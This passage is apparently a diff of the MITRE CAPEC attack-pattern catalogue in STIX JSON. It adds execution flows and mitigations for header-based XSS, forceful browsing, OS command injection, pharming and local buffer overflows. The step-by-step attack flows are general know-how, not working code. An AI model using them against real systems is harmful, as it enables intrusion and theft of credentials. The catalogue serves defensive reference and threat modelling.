Utilize a remote style sheet set in the HTTP header for XSS attack. When the attacker is able to point to a remote stylesheet, any of the variables set in that stylesheet are controllable on the client side by the remote attacker. Like most XSS attacks, results vary depending on browser that is used.\n ; REL=stylesheet\">\n [R.86.2]\n ", - "\n Google's 404 redirection script was found vulnerable to this attack vector.\n Google's 404 file not found page read\n * Response headers: \"Content-Type: text/html; charset=[encoding]\".\n * Response body: \n If the response sends an unexpected encoding type such as UTF-7, then no enforcement is done on the payload and arbitrary XSS code will be transported along with the standard HTTP response. [R.86.3]\n ", + "\n Utilize a remote style sheet set in the HTTP header for XSS attack. When the attacker is able to point to a remote stylesheet, any of the variables set in that stylesheet are controllable on the client side by the remote attacker. Like most XSS attacks, results vary depending on browser that is used.\n ; REL=stylesheet\">\n [REF-97]\n ", + "\n Google's 404 redirection script was found vulnerable to this attack vector.\n Google's 404 file not found page read\n * Response headers: \"Content-Type: text/html; charset=[encoding]\".\n * Response body: \n If the response sends an unexpected encoding type such as UTF-7, then no enforcement is done on the payload and arbitrary XSS code will be transported along with the standard HTTP response. [REF-476]\n ", "XSS can be used in variety of ways, because it is scripted and executes in a distributed, asynchronous fashion it can create its own vector and openings. For example, the attacker can use XSS to mount a DDoS attack by having series of different computers unknowingly executing requests against a single host." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Spider: Using a browser or an automated tool, an attacker follows all public links on a web site. They record all the entry points (input) that becomes part of generated HTTP header (not only GET/POST/COOKIE, but also Content-Type, etc.)

    2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters used in the HTTP headers.
    Look for HTML meta tags that could be injectable
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. [Probe identified potential entry points for XSS vulnerability]The attacker uses the entry points gathered in the \"Explore\" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. They record all the responses from the server that include unmodified versions of their script.\n The attacker tries also to inject extra-parameter to the HTTP request to see if they are reflected back in the web page or in the HTTP response.\n

    2. Techniques
    Manually inject various script payloads into each identified entry point using a list of common script injection probes and observe system behavior to determine if script was executed.
    Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes and observe system behavior to determine if script was executed.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.

    2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    3. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website.

    4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--117080d2-a3f1-4d19-8903-672ec63ff81f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--117080d2-a3f1-4d19-8903-672ec63ff81f", "source_ref": "course-of-action--094a4c09-e49c-422b-b8ec-b51c19dba18c", "relationship_type": "mitigates", "target_ref": "attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e" }, { + "id": "relationship--df64b21f-91ca-4495-9718-794582fa0ab8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--df64b21f-91ca-4495-9718-794582fa0ab8", "source_ref": "course-of-action--040cd51a-446a-4612-a9d0-4a90119d5191", "relationship_type": "mitigates", "target_ref": "attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e" }, { + "id": "relationship--43bfa851-97cf-48ba-8050-69a14ce4b820", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--43bfa851-97cf-48ba-8050-69a14ce4b820", "source_ref": "course-of-action--97eb8eeb-5e17-4a04-803b-c4de40723fc9", "relationship_type": "mitigates", "target_ref": "attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e" }, { + "id": "relationship--6e5a1a01-0c47-4cc1-9ce2-6156b3d231b7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6e5a1a01-0c47-4cc1-9ce2-6156b3d231b7", "source_ref": "course-of-action--e9836d98-9116-4902-ba62-2c4fcc7e03c3", "relationship_type": "mitigates", "target_ref": "attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e" }, { + "id": "relationship--0b609b9c-0b10-497b-b953-c1d279689017", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0b609b9c-0b10-497b-b953-c1d279689017", "source_ref": "course-of-action--8a996efc-52e0-4aaf-953a-21c3fe64c64b", "relationship_type": "mitigates", "target_ref": "attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e" }, { + "id": "relationship--d72764d4-b17e-42fe-81ba-463f07deb30f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d72764d4-b17e-42fe-81ba-463f07deb30f", "source_ref": "course-of-action--4f20a4a7-cb6a-477b-a12a-13c5e9d03353", "relationship_type": "mitigates", "target_ref": "attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e" }, { + "id": "relationship--4e7dfa2a-7e3f-483c-bd32-1110f0cbfb03", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4e7dfa2a-7e3f-483c-bd32-1110f0cbfb03", "source_ref": "course-of-action--f31f11cb-6403-4667-bf43-d77242ac7ae2", "relationship_type": "mitigates", "target_ref": "attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e" }, { + "id": "relationship--c80de0f3-14b1-4da8-ab8f-01d6e8887f58", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c80de0f3-14b1-4da8-ab8f-01d6e8887f58", "source_ref": "course-of-action--86dea14b-a9d1-461f-a1e0-ff289490c27e", "relationship_type": "mitigates", "target_ref": "attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e" }, { + "id": "relationship--77b4da2d-507c-490d-8270-6c9c321c6752", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--77b4da2d-507c-490d-8270-6c9c321c6752", "source_ref": "course-of-action--fd1a110f-6520-479b-9f42-9c88acdbf90e", "relationship_type": "mitigates", "target_ref": "attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e" }, { + "id": "attack-pattern--00268a75-3243-477d-9166-8c78fddf6df6", "name": "Forceful Browsing", "description": "An attacker employs forceful browsing to access portions of a website that are otherwise unreachable through direct URL entry. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -45242,7 +50094,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -45290,64 +50142,69 @@ }, "x_capec_abstraction": "Standard", "x_capec_example_instances": [ - "\n A bulletin board application provides an administrative interface at admin.aspx when the user logging in belongs to the administrators group.\n An attacker can access the admin.aspx interface by making a direct request to the page. Not having access to the interface appropriately protected allows the attacker to perform administrative functions without having to authenticate himself in that role.\n " + "\n A bulletin board application provides an administrative interface at admin.aspx when the user logging in belongs to the administrators group.\n An attacker can access the admin.aspx interface by making a direct request to the page. Not having access to the interface appropriately protected allows the attacker to perform administrative functions without having to authenticate themself in that role.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Spider: Using an automated tool, an attacker follows all public links on a web site. They record all the links they find.

    2. Techniques
    Use a spidering tool to follow and record all links.
    Use a proxy tool to record all links visited during a manual traversal of the web application.

Experiment

  1. Attempt well-known or guessable resource locations: Using an automated tool, an attacker requests a variety of well-known URLs that correspond to administrative, debugging, or other useful internal actions. They record all the positive responses from the server.

    2. Techniques
    Use a spidering tool to follow and record attempts on well-known URLs.
    Use a proxy tool to record all links visited during a manual traversal of attempts on well-known URLs.

Exploit

  1. Use unauthorized resources: By visiting the unprotected resource, the attacker makes use of unauthorized functionality.

    2. Techniques
    Access unprotected functions and execute them.

  2. View unauthorized data: The attacker discovers and views unprotected sensitive data.

    3. Techniques
    Direct request of protected pages that directly access database back-ends. (e.g., list.jsp, accounts.jsp, status.jsp, etc.)
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--00268a75-3243-477d-9166-8c78fddf6df6" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--8b71c095-ad74-4c7c-9670-929e14eb0110", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-87-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Authenticate request to every resource. In addition, every page or resource must ensure that the request it is handling has been made in an authorized context.", - "type": "course-of-action", - "id": "course-of-action--8b71c095-ad74-4c7c-9670-929e14eb0110" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c3b65115-d4f0-4a7d-a9d8-7c012f7e3787", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c3b65115-d4f0-4a7d-a9d8-7c012f7e3787", "source_ref": "course-of-action--8b71c095-ad74-4c7c-9670-929e14eb0110", "relationship_type": "mitigates", "target_ref": "attack-pattern--00268a75-3243-477d-9166-8c78fddf6df6" }, { + "id": "course-of-action--94eb039d-4dcb-40b2-bf6f-e98fe456747c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-87-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Forceful browsing can also be made difficult to a large extent by not hard-coding names of application pages or resources. This way, the attacker cannot figure out, from the application alone, the resources available from the present context.", - "type": "course-of-action", - "id": "course-of-action--94eb039d-4dcb-40b2-bf6f-e98fe456747c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6172678d-c4c1-4700-9518-deec24ab23cc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6172678d-c4c1-4700-9518-deec24ab23cc", "source_ref": "course-of-action--94eb039d-4dcb-40b2-bf6f-e98fe456747c", "relationship_type": "mitigates", "target_ref": "attack-pattern--00268a75-3243-477d-9166-8c78fddf6df6" }, { + "id": "attack-pattern--bfdeb5d3-c9da-44eb-bfd3-d3db719acfb3", "name": "OS Command Injection", "description": "In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -45355,7 +50212,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -45428,95 +50285,102 @@ "x_capec_example_instances": [ "\n A transaction processing system relies on code written in a number of languages. To access this functionality, the system passes transaction information on the system command line.\n An attacker can gain access to the system command line and execute malicious commands by injecting these commands in the transaction data. If successful, the attacker can steal information, install backdoors and perform other nefarious activities that can compromise the system and its data.See also: A vulnerability in Mozilla Firefox 1.x browser allows an attacker to execute arbitrary commands on the UNIX/Linux operating system. The vulnerability is caused due to the shell script used to launch Firefox parsing shell commands that are enclosed within back-ticks in the URL provided via the command line. This can be exploited to execute arbitrary shell commands by tricking a user into following a malicious link in an external application which uses Firefox as the default browser (e.g. the mail client Evolution on Red Hat Enterprise Linux 4)." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify inputs for OS commands: The attacker determines user controllable input that gets passed as part of a command to the underlying operating system.

    2. Techniques
    Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.
    TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.
    Induce errors to find informative error messages

  2. Survey the Application: The attacker surveys the target application, possibly as a valid and authenticated user

    3. Techniques
    Spidering web sites for all available links
    Inventory all application inputs

Experiment

  1. Vary inputs, looking for malicious results.: Depending on whether the application being exploited is a remote or local one the attacker crafts the appropriate malicious input, containing OS commands, to be passed to the application

    2. Techniques
    Inject command delimiters using network packet injection tools (netcat, nemesis, etc.)
    Inject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.)

Exploit

  1. Execute malicious commands: The attacker may steal information, install a back door access mechanism, elevate privileges or compromise the system in some other way.

    2. Techniques
    The attacker executes a command that stores sensitive information into a location where they can retrieve it later (perhaps using a different command injection).
    The attacker executes a command that stores sensitive information into a location where they can retrieve it later (perhaps using a different command injection).
    The attacker executes a command that stores sensitive information into a location where they can retrieve it later (perhaps using a different command injection).
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--bfdeb5d3-c9da-44eb-bfd3-d3db719acfb3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ca12abfd-929e-4a4d-9bc0-c87d1daf98db", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-88-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use language APIs rather than relying on passing data to the operating system shell or command line. Doing so ensures that the available protection mechanisms in the language are intact and applicable.", - "type": "course-of-action", - "id": "course-of-action--ca12abfd-929e-4a4d-9bc0-c87d1daf98db" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9de3eaad-1ea7-4658-a9af-71b7e6a839d3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9de3eaad-1ea7-4658-a9af-71b7e6a839d3", "source_ref": "course-of-action--ca12abfd-929e-4a4d-9bc0-c87d1daf98db", "relationship_type": "mitigates", "target_ref": "attack-pattern--bfdeb5d3-c9da-44eb-bfd3-d3db719acfb3" }, { + "id": "course-of-action--23d88ce3-abfc-4664-b193-3c5a020033f6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-88-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Filter all incoming data to escape or remove characters or strings that can be potentially misinterpreted as operating system or shell commands", - "type": "course-of-action", - "id": "course-of-action--23d88ce3-abfc-4664-b193-3c5a020033f6" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--318ffd75-623d-4e4e-82ef-fe62b9837bef", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--318ffd75-623d-4e4e-82ef-fe62b9837bef", "source_ref": "course-of-action--23d88ce3-abfc-4664-b193-3c5a020033f6", "relationship_type": "mitigates", "target_ref": "attack-pattern--bfdeb5d3-c9da-44eb-bfd3-d3db719acfb3" }, { + "id": "course-of-action--9edf924d-3f02-40cd-81ef-fd883a496feb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-88-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "All application processes should be run with the minimal privileges required. Also, processes must shed privileges as soon as they no longer require them.", - "type": "course-of-action", - "id": "course-of-action--9edf924d-3f02-40cd-81ef-fd883a496feb" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--22a2ec23-338d-4ecf-ac2b-3692d8dd907d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--22a2ec23-338d-4ecf-ac2b-3692d8dd907d", "source_ref": "course-of-action--9edf924d-3f02-40cd-81ef-fd883a496feb", "relationship_type": "mitigates", "target_ref": "attack-pattern--bfdeb5d3-c9da-44eb-bfd3-d3db719acfb3" }, { + "id": "attack-pattern--5dec633b-7b10-4bfe-9270-e68b98112285", "name": "Pharming", - "description": "A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to his site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.", + "description": "A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -45555,87 +50419,94 @@ "x_capec_example_instances": [ "\n An online bank website requires users to provide their customer ID and password to log on, but does not use a secure connection.\n An attacker can setup a similar fake site and leverage pharming to collect this information from unknowing victims.\n " ], + "x_capec_execution_flow": "

Execution Flow

Exploit

  1. Attacker sets up a system mocking the one trusted by the users. This is usually a website that requires or handles sensitive information.

  2. The attacker then poisons the resolver for the targeted site. This is achieved by poisoning the DNS server, or the local hosts file, that directs the user to the original website

  3. When the victim requests the URL for the site, the poisoned records direct the victim to the attackers' system rather than the original one.

  4. Because of the identical nature of the original site and the attacker controlled one, and the fact that the URL is still the original one, the victim trusts the website reached and the attacker can now \"farm\" sensitive information such as credentials or account numbers.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5dec633b-7b10-4bfe-9270-e68b98112285" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--7c0264a9-3fa6-4dd3-bf66-e37487316673", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-89-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "All sensitive information must be handled over a secure connection.", - "type": "course-of-action", - "id": "course-of-action--7c0264a9-3fa6-4dd3-bf66-e37487316673" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--0a29576b-049b-4956-8b53-ce4e9053139a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0a29576b-049b-4956-8b53-ce4e9053139a", "source_ref": "course-of-action--7c0264a9-3fa6-4dd3-bf66-e37487316673", "relationship_type": "mitigates", "target_ref": "attack-pattern--5dec633b-7b10-4bfe-9270-e68b98112285" }, { + "id": "course-of-action--ca76ad8b-bd0c-4eec-a930-535476f450af", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-89-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Known vulnerabilities in DNS or router software or in operating systems must be patched as soon as a fix has been released and tested.", - "type": "course-of-action", - "id": "course-of-action--ca76ad8b-bd0c-4eec-a930-535476f450af" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--7002b548-99da-4471-becf-a12babe27aaa", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7002b548-99da-4471-becf-a12babe27aaa", "source_ref": "course-of-action--ca76ad8b-bd0c-4eec-a930-535476f450af", "relationship_type": "mitigates", "target_ref": "attack-pattern--5dec633b-7b10-4bfe-9270-e68b98112285" }, { + "id": "course-of-action--26275ac3-7197-403e-90e8-58d6459057cb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-89-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "End users must ensure that they provide sensitive information only to websites that they trust, over a secure connection with a valid certificate issued by a well-known certificate authority.", - "type": "course-of-action", - "id": "course-of-action--26275ac3-7197-403e-90e8-58d6459057cb" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--847a5a83-ab42-40dc-b158-f71498aa91cd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--847a5a83-ab42-40dc-b158-f71498aa91cd", "source_ref": "course-of-action--26275ac3-7197-403e-90e8-58d6459057cb", "relationship_type": "mitigates", "target_ref": "attack-pattern--5dec633b-7b10-4bfe-9270-e68b98112285" }, { + "id": "attack-pattern--b6a2983b-1d97-4698-b210-961ed0523f33", "name": "Buffer Overflow in Local Command-Line Utilities", "description": "This attack targets command-line utilities available in a number of shells. An attacker can leverage a vulnerability found in a command-line utility to escalate privilege to root.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -45643,7 +50514,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -45731,139 +50602,150 @@ "x_capec_example_instances": [ "\n \n Attack Example: HPUX passwd\n A buffer overflow in the HPUX passwd command allows local users to gain root privileges via a command-line option.\n \n \n Attack Example: Solaris getopt\n A buffer overflow in Solaris's getopt command (found in libc) allows local users to gain root privileges via a long argv[0].\n \n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Attacker identifies command utilities exposed by the target host.

Experiment

  1. On the probing stage, the attacker interacts with the command utility and observes the results of its input. The attacker's goal is to uncover a buffer overflow in the command utility. For instance the attacker may find that input data are not properly validated.

Exploit

  1. The attacker finds a buffer overflow vulnerability in the command utility and tries to exploit it. They craft malicious code and injects it using the command utility. The attacker can at worst execute remote code on the target host.

